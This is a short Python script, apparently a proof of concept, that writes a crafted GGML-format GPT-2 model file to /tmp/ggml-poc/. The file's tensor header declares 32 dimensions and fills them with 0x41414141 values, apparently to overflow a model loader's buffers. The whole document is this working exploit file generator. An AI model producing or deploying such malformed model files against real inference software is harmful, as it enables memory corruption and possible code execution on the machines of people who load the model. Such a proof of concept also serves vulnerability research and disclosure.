| import struct |
|
|
| def write_malicious_gpt2_model(path): |
| buf = bytearray() |
| |
| |
| buf += struct.pack('<I', 0x67676d6c) |
| |
| |
| n_vocab = 2 |
| buf += struct.pack('<i', n_vocab) |
| buf += struct.pack('<i', 1024) |
| buf += struct.pack('<i', 768) |
| buf += struct.pack('<i', 12) |
| buf += struct.pack('<i', 12) |
| buf += struct.pack('<i', 1) |
| |
| |
| buf += struct.pack('<i', n_vocab) |
| |
| |
| for i in range(n_vocab): |
| word = f't{i}'.encode() |
| buf += struct.pack('<I', len(word)) |
| buf += word |
| |
| |
| n_dims = 32 |
| buf += struct.pack('<i', n_dims) |
| |
| tensor_name = b'weights' |
| buf += struct.pack('<i', len(tensor_name)) |
| buf += struct.pack('<i', 0) |
| |
| |
| for i in range(n_dims): |
| buf += struct.pack('<i', 0x41414141 if i >= 4 else 1) |
| |
| buf += tensor_name |
| |
| buf += b'\x00' * 64 |
| |
| with open(path, 'wb') as f: |
| f.write(buf) |
| print(f'Written {len(buf)} bytes to {path}') |
|
|
| write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin') |
|
|